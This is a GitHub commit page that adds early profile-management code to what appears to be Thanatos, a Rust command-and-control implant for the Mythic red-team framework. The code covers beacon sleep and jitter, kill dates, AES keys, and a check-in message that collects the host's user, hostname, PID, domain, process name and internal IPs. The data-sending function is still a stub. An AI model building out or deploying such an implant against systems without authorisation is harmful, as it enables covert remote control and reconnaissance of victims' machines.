-
Notifications
You must be signed in to change notification settings - Fork 47
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
chore: start writing profile management
- Loading branch information
Showing
6 changed files
with
280 additions
and
53 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
101 changes: 101 additions & 0 deletions
101
Payload_Type/thanatos/agent/thanatos/core/src/profile_mgr/beacon.rs
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,101 @@ | ||
use std::time::Duration; | ||
|
||
use chrono::{DateTime, Utc}; | ||
use crossbeam_channel::{select, tick, Receiver, Sender}; | ||
use profiles::beacon::http::HttpC2Profile; | ||
use thanatos_protos::{ | ||
config::Config, | ||
msg::{AgentMessage, MythicResponse}, | ||
}; | ||
|
||
use crate::{errors::ThanatosError, log}; | ||
|
||
use super::ipc::ProfileIPCMsg; | ||
|
||
pub struct BeaconManager { | ||
callback_interval: u32, | ||
callback_jitter: u32, | ||
http: Option<HttpManager>, | ||
} | ||
|
||
struct HttpManager { | ||
killdate: DateTime<Utc>, | ||
aeskey: Option<[u8; 32]>, | ||
profile: HttpC2Profile, | ||
} | ||
|
||
impl BeaconManager { | ||
pub fn new(config: &Config) -> Option<BeaconManager> { | ||
let mut callback_jitter = 0; | ||
let mut callback_interval = 0; | ||
|
||
let http = config.http.as_ref().and_then(|http| { | ||
callback_interval = http.callback_interval; | ||
callback_jitter = http.callback_jitter; | ||
let killdate = DateTime::from_timestamp(http.killdate as i64, 0)?; | ||
|
||
let profile = HttpC2Profile::new(http); | ||
|
||
let aeskey: Option<[u8; 32]> = if !http.aes_key.is_empty() { | ||
http.aes_key[..].try_into().ok() | ||
} else { | ||
None | ||
}; | ||
Some(HttpManager { | ||
killdate, | ||
profile, | ||
aeskey, | ||
}) | ||
}); | ||
|
||
if http.is_none() { | ||
return None; | ||
} | ||
|
||
Some(BeaconManager { | ||
callback_interval, | ||
callback_jitter, | ||
http, | ||
}) | ||
} | ||
|
||
pub fn run( | ||
mut self, | ||
sender: Sender<MythicResponse>, | ||
receiver: Receiver<ProfileIPCMsg>, | ||
) -> Result<(), ThanatosError> { | ||
while self.http.is_some() { | ||
log!("Beacon thread polling"); | ||
|
||
select! { | ||
recv(receiver) -> received => { | ||
match received { | ||
Ok(ProfileIPCMsg::UpdateSleep{ interval, jitter }) => self.update_sleep(interval, jitter), | ||
Ok(ProfileIPCMsg::C2Data(data)) => sender.send(self.send_data(data)?).unwrap(), | ||
Err(_) => continue, | ||
} | ||
}, | ||
recv(tick(Duration::from_secs(5))) -> _ => (), | ||
} | ||
|
||
log!("Beacon thread poll finished"); | ||
let current_time: DateTime<Utc> = std::time::SystemTime::now().into(); | ||
let _ = self.http.take_if(|http| http.killdate <= current_time); | ||
} | ||
|
||
Ok(()) | ||
} | ||
|
||
fn update_sleep(&mut self, interval: u32, jitter: u32) { | ||
self.callback_interval = interval; | ||
self.callback_jitter = jitter; | ||
} | ||
|
||
fn send_data(&mut self, data: AgentMessage) -> Result<MythicResponse, ThanatosError> { | ||
std::thread::sleep(std::time::Duration::from_secs( | ||
self.callback_interval as u64, | ||
)); | ||
|
||
todo!(); | ||
} | ||
} |
85 changes: 85 additions & 0 deletions
85
Payload_Type/thanatos/agent/thanatos/core/src/profile_mgr/handler.rs
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,85 @@ | ||
use std::thread::ScopedJoinHandle; | ||
|
||
use crossbeam_channel::{Receiver, Sender}; | ||
use thanatos_protos::msg::{ | ||
agent_checkin_message::PlatformInfo, agent_message::Message, AgentCheckinMessage, AgentMessage, | ||
Architecture, LinuxInfo, MythicResponse, | ||
}; | ||
|
||
use crate::{errors::ThanatosError, system}; | ||
|
||
use super::ipc::ProfileIPCMsg; | ||
|
||
// TODO: Check working hours | ||
// TODO: Check profile killdates | ||
|
||
pub struct ProfileHandler<'scope> { | ||
beacons: Option<ManagedProfile<'scope>>, | ||
pub receiver: Receiver<MythicResponse>, | ||
} | ||
|
||
pub(super) struct ManagedProfile<'scope> { | ||
sender: Sender<ProfileIPCMsg>, | ||
handle: ScopedJoinHandle<'scope, ()>, | ||
} | ||
|
||
impl<'scope> ProfileHandler<'scope> { | ||
pub(super) fn new( | ||
beacons: Option<ManagedProfile<'scope>>, | ||
receiver: Receiver<MythicResponse>, | ||
) -> Result<ProfileHandler<'scope>, ThanatosError> { | ||
#[cfg(target_os = "linux")] | ||
let platform_info = PlatformInfo::Linux(LinuxInfo { | ||
distro: system::distro(), | ||
kernel: system::kernel(), | ||
selinux: false, | ||
container: system::container_environment().map(|e| e.into()), | ||
}); | ||
|
||
let checkin_data = AgentCheckinMessage { | ||
user: system::username().ok(), | ||
host: system::hostname().ok(), | ||
pid: Some(std::process::id()), | ||
architecture: system::architecture() | ||
.unwrap_or_else(|| { | ||
if std::mem::size_of::<usize>() == 8 { | ||
Architecture::X8664 | ||
} else { | ||
Architecture::X86 | ||
} | ||
}) | ||
.into(), | ||
domain: system::domain().ok(), | ||
integrity_level: Some(2), | ||
process_name: system::process_name().ok(), | ||
ips: system::internal_ips().unwrap_or_default(), | ||
platform_info: Some(platform_info), | ||
}; | ||
|
||
if let Some(beacon) = beacons.as_ref() { | ||
beacon | ||
.sender | ||
.send(ProfileIPCMsg::C2Data(AgentMessage { | ||
message: Some(Message::Checkin(checkin_data)), | ||
})) | ||
.unwrap(); | ||
} | ||
|
||
Ok(Self { beacons, receiver }) | ||
} | ||
|
||
pub fn running(&self) -> bool { | ||
self.beacons | ||
.as_ref() | ||
.is_some_and(|beacons| !beacons.handle.is_finished()) | ||
} | ||
} | ||
|
||
impl<'scope> ManagedProfile<'scope> { | ||
pub fn new( | ||
sender: Sender<ProfileIPCMsg>, | ||
handle: ScopedJoinHandle<'scope, ()>, | ||
) -> ManagedProfile<'scope> { | ||
Self { sender, handle } | ||
} | ||
} |
6 changes: 6 additions & 0 deletions
6
Payload_Type/thanatos/agent/thanatos/core/src/profile_mgr/ipc.rs
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,6 @@ | ||
use thanatos_protos::msg::AgentMessage; | ||
|
||
pub enum ProfileIPCMsg { | ||
UpdateSleep { interval: u32, jitter: u32 }, | ||
C2Data(AgentMessage), | ||
} |
40 changes: 40 additions & 0 deletions
40
Payload_Type/thanatos/agent/thanatos/core/src/profile_mgr/manager.rs
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,40 @@ | ||
use std::thread::Scope; | ||
|
||
use thanatos_protos::config::Config; | ||
|
||
use crate::{errors::ThanatosError, log, profile_mgr::handler::ManagedProfile}; | ||
|
||
use super::{beacon::BeaconManager, handler::ProfileHandler}; | ||
|
||
pub struct ProfileManager { | ||
beacons: Option<BeaconManager>, | ||
} | ||
|
||
impl ProfileManager { | ||
pub fn new(config: &Config) -> ProfileManager { | ||
let beacons = BeaconManager::new(config); | ||
ProfileManager { beacons } | ||
} | ||
|
||
pub fn run<'scope, 'env: 'scope>( | ||
mut self, | ||
scope: &'scope Scope<'scope, 'env>, | ||
) -> Result<ProfileHandler<'scope>, ThanatosError> { | ||
let (sender, receiver) = crossbeam_channel::unbounded(); | ||
|
||
let beacons = self.beacons.take().map(|beacons| { | ||
let new_sender = sender.clone(); | ||
let (profile_sender, profile_receiver) = crossbeam_channel::unbounded(); | ||
ManagedProfile::new( | ||
profile_sender, | ||
scope.spawn(|| { | ||
if let Err(e) = beacons.run(new_sender, profile_receiver) { | ||
log!("{:?}", e); | ||
} | ||
}), | ||
) | ||
}); | ||
|
||
ProfileHandler::new(beacons, receiver) | ||
} | ||
} |
5 changes: 5 additions & 0 deletions
5
Payload_Type/thanatos/agent/thanatos/core/src/profile_mgr/mod.rs
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
mod beacon; | ||
mod ipc; | ||
|
||
pub mod handler; | ||
pub mod manager; |